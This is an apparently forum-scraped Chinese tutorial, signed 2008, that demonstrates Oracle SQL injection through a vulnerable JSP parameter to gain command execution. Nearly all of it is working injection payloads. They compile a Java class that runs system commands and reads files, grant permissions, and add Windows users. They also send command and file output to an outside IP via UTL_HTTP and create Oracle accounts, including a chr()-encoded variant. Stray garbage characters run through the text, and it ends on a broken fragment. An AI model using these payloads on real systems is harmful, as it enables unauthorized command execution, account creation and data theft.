实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

$ @. v7 a3 |( h, U9 {　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是为了让语句返回true值)
/ }' V0 R: s3 p9 i8 G4 g语句有点长，可能要用post提交。
1 e: k, {$ m- _7 X% G以下是各个步骤：
1.创建包
7 Z. N8 b. e) {2 g通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
( s, ]. n1 f# s8 J3 Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
( c" M7 J/ G0 a% B2 Snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
8 z9 E9 `9 _4 \& ~* u}'''';END;'';END;--','SYS',0,'1',0) from dual
1 E$ }! ?- g  _+ ?  s9 |6 M2 r- d)
------------------------
如果url有长度限制，可以把readFile()函数块去掉，即：
% y9 T' ]) d8 n/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
% G7 [$ @5 s* T- ?9 onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
. N6 M7 e$ W7 d5 ^$ \( f------------------------------
2.赋Java权限
5 e/ H" T0 {4 eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 a) W6 s' _/ p" fcreate or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
% [. s: O0 j4 u7 u: h: ccreate or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
4.赋public执行函数的权限
/ M6 u% m  j, Z6 L3 Q7 Yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
and '1'<>'11'||(
2 K% H8 J* r) Q  U' Lselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
; j! q% `* K. t, C)
and '1'<>(
- P. I' K4 f5 t% ]select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.执行命令：
/xxx.jsp?id=1 and '1'<>(
% w8 f* i' B) R$ S. ?; eselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual

)
/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual

)
　　
0 n3 _! r  x- z: @* \5 K, a+ \注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
. F  g; G& f/ g, \/ ~: p- V0 N如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
或者UTL_HTTP.request(:
7 Z4 n4 A* I7 y" i0 z/xxx.jsp?id=1 and '1'<>(
4 L, j8 D8 K5 E+ n% QSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)
* L& B8 s# n- q. k/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
7 h& Y/ x, t! h. ~& W# g)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
( j; X0 O; H5 t$ E) j6 X0 [6.内部变化
通过以下命令可以查看all_objects表达改变：
) W& M" @" y6 M) Hselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
) w( }( E* h9 y! Z3 \/ p7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# j. }' @7 x; [4 B; @drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
====================================================
9 R! m2 D9 ?/ ^3 W全文结束。谨以此文赠与我的朋友。
linx
: g6 v' A' G' [/ _8 Z/ k124829445
2008.1.12
linyujian@bjfu.edu.cn
6 t2 n1 f5 H1 C; f3 L0 A8 G9 s======================================================================
测试漏洞的另一方法：
! j7 Z7 Z& M- V' W- n创建oracle帐号：
4 _+ o* Q: v3 R! D+ O0 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 `, C1 y. M- a% V) e! ICREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
即：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
1 \* d2 u) K6 o3 V: Vchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
3 H5 A9 ^8 q8 r3 Y确定漏洞存在：
1<>(
; _" D  s( }& m& k  P$ Yselect user_id from all_users where username='LINXSQL'
4 t( ~! U! w+ y  V* B0 D$ O8 G, Z)
; I0 R; Y1 W' t2 W6 i给linxsql连接权限：
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! K+ z3 O9 x; ]GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
0 ?& V# h0 n0 B, y删除帐号：
7 X9 x/ o) @  O2 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! t7 W- Z) T& _& Y$ S% Gdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
. b9 y' _+ K- q4 O  @2 x$ X7 {======================
+ t2 J  S7 k# ~1 \$ x* `8 T% S3 B以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
2 H/ U' v( `9 ?) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
　)

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